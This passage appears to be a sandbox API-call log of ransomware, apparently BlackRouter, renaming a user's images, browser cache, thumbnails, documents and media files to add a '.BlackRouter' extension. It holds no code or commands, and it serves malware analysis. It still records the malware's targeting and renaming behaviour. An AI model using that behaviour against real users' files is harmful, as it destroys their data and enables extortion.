lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x127e [0070.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd06ffd50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1280)) returned 1 [0070.344] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.blackrouter")) returned 1 [0070.345] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x2949 [0070.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0725eb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2950)) returned 1 [0070.357] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.blackrouter")) returned 1 [0070.358] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x1d51 [0070.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd074c010, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1d60)) returned 1 [0070.369] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.blackrouter")) returned 1 [0071.725] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x40000 [0071.917] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbece4d60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbece4d60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd1606830, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x40010)) returned 1 [0071.917] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite.blackrouter")) returned 1 [0072.547] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x40b0 [0072.560] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83cc0a50, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x83cc0a50, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xd1c20090, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x40c0)) returned 1 [0072.560] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.blackrouter")) returned 1 [0072.561] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x40b0 [0072.577] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83ce6bb0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xd1c6c350, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x40c0)) returned 1 [0072.577] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.blackrouter")) returned 1 [0072.579] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae378 | out: lpFileSizeHigh=0x1ae378*=0x0) returned 0x1c362 [0072.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae3c0 | out: lpFileInformation=0x1ae3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb97ade50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb97ade50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd1d2aa30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1c370)) returned 1 [0072.664] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.blackrouter")) returned 1 [0073.588] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x11d50 [0073.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1Zd3yXrcc6jHzq3kAR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1zd3yxrcc6jhzq3kar.ods"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4543250, ftCreationTime.dwHighDateTime=0x1d461a2, ftLastAccessTime.dwLowDateTime=0x68c5f400, ftLastAccessTime.dwHighDateTime=0x1d460ce, ftLastWriteTime.dwLowDateTime=0xd2617cb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11d60)) returned 1 [0073.593] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1Zd3yXrcc6jHzq3kAR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1zd3yxrcc6jhzq3kar.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1Zd3yXrcc6jHzq3kAR.ods.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1zd3yxrcc6jhzq3kar.ods.blackrouter")) returned 1 [0073.594] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x9295 [0073.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PqWGHx5DVy.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\pqwghx5dvy.odp"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9ae4ac0, ftCreationTime.dwHighDateTime=0x1d45924, ftLastAccessTime.dwLowDateTime=0x745c01a0, ftLastAccessTime.dwHighDateTime=0x1d460de, ftLastWriteTime.dwLowDateTime=0xd2617cb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x92a0)) returned 1 [0073.598] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PqWGHx5DVy.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\pqwghx5dvy.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PqWGHx5DVy.odp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\pqwghx5dvy.odp.blackrouter")) returned 1 [0073.600] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x20f7 [0073.603] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IYjhPJ9BN.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iyjhpj9bn.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfb8510e0, ftCreationTime.dwHighDateTime=0x1d45ef4, ftLastAccessTime.dwLowDateTime=0x27057e60, ftLastAccessTime.dwHighDateTime=0x1d45826, ftLastWriteTime.dwLowDateTime=0xd2617cb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2100)) returned 1 [0073.603] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IYjhPJ9BN.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iyjhpj9bn.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IYjhPJ9BN.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iyjhpj9bn.mp3.blackrouter")) returned 1 [0073.604] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x1748d [0073.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y32vtiZTiUo.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\y32vtiztiuo.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x73e34bb0, ftCreationTime.dwHighDateTime=0x1d4623d, ftLastAccessTime.dwLowDateTime=0x2594b130, ftLastAccessTime.dwHighDateTime=0x1d460f6, ftLastWriteTime.dwLowDateTime=0xd263de10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17490)) returned 1 [0073.611] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y32vtiZTiUo.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\y32vtiztiuo.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\y32vtiZTiUo.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\y32vtiztiuo.mp3.blackrouter")) returned 1 [0073.612] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x14138 [0073.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7YYOmO0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\7yyomo0.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x474f3d20, ftCreationTime.dwHighDateTime=0x1d45fbd, ftLastAccessTime.dwLowDateTime=0x41521cd0, ftLastAccessTime.dwHighDateTime=0x1d458f1, ftLastWriteTime.dwLowDateTime=0xd263de10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14140)) returned 1 [0073.618] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7YYOmO0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\7yyomo0.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7YYOmO0.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\7yyomo0.wav.blackrouter")) returned 1 [0073.620] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x18c2c [0073.626] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eL19vUjRm.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\el19vujrm.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xff72e6c0, ftCreationTime.dwHighDateTime=0x1d456fa, ftLastAccessTime.dwLowDateTime=0xec7b68b0, ftLastAccessTime.dwHighDateTime=0x1d46147, ftLastWriteTime.dwLowDateTime=0xd2663f70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x18c30)) returned 1 [0073.627] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eL19vUjRm.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\el19vujrm.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eL19vUjRm.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\el19vujrm.wav.blackrouter")) returned 1 [0073.628] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x1245c [0073.633] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HMcyr41LIqUsU3ezmkFb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hmcyr41liqusu3ezmkfb.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x148730b0, ftCreationTime.dwHighDateTime=0x1d4603e, ftLastAccessTime.dwLowDateTime=0x8a092f70, ftLastAccessTime.dwHighDateTime=0x1d45d58, ftLastWriteTime.dwLowDateTime=0xd2663f70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x12460)) returned 1 [0073.633] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HMcyr41LIqUsU3ezmkFb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hmcyr41liqusu3ezmkfb.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HMcyr41LIqUsU3ezmkFb.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hmcyr41liqusu3ezmkfb.wav.blackrouter")) returned 1 [0073.634] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x2b2c [0073.636] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\r0b6xNTmqb48VRjw j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\r0b6xntmqb48vrjw j.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfc0e6340, ftCreationTime.dwHighDateTime=0x1d458a0, ftLastAccessTime.dwLowDateTime=0xa08275b0, ftLastAccessTime.dwHighDateTime=0x1d4642c, ftLastWriteTime.dwLowDateTime=0xd2663f70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2b30)) returned 1 [0073.636] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\r0b6xNTmqb48VRjw j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\r0b6xntmqb48vrjw j.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\r0b6xNTmqb48VRjw j.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\r0b6xntmqb48vrjw j.wav.blackrouter")) returned 1 [0073.637] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xdca [0073.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UdIe-PuBK4I-ZjW1rzs.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\udie-pubk4i-zjw1rzs.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1dd38a0, ftCreationTime.dwHighDateTime=0x1d464cc, ftLastAccessTime.dwLowDateTime=0x882e1f0, ftLastAccessTime.dwHighDateTime=0x1d46391, ftLastWriteTime.dwLowDateTime=0xd268a0d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xdd0)) returned 1 [0073.640] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UdIe-PuBK4I-ZjW1rzs.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\udie-pubk4i-zjw1rzs.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UdIe-PuBK4I-ZjW1rzs.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\udie-pubk4i-zjw1rzs.swf.blackrouter")) returned 1 [0073.648] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x2df6 [0073.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WdQZ9mKINprQJ-L5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\wdqz9mkinprqj-l5.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83e7fa40, ftCreationTime.dwHighDateTime=0x1d45669, ftLastAccessTime.dwLowDateTime=0x993a6dc0, ftLastAccessTime.dwHighDateTime=0x1d46261, ftLastWriteTime.dwLowDateTime=0xd268a0d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2e00)) returned 1 [0073.651] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WdQZ9mKINprQJ-L5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\wdqz9mkinprqj-l5.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WdQZ9mKINprQJ-L5.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\wdqz9mkinprqj-l5.swf.blackrouter")) returned 1 [0073.652] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xcf27 [0073.657] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yXam.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yxam.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5df3dda0, ftCreationTime.dwHighDateTime=0x1d46527, ftLastAccessTime.dwLowDateTime=0xcb1e0260, ftLastAccessTime.dwHighDateTime=0x1d456c3, ftLastWriteTime.dwLowDateTime=0xd26b0230, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xcf30)) returned 1 [0073.657] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yXam.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yxam.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yXam.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yxam.swf.blackrouter")) returned 1 [0073.658] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x14b4d [0073.663] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Z_xhc-Mir1leZDgRqe2i.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\z_xhc-mir1lezdgrqe2i.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d23f020, 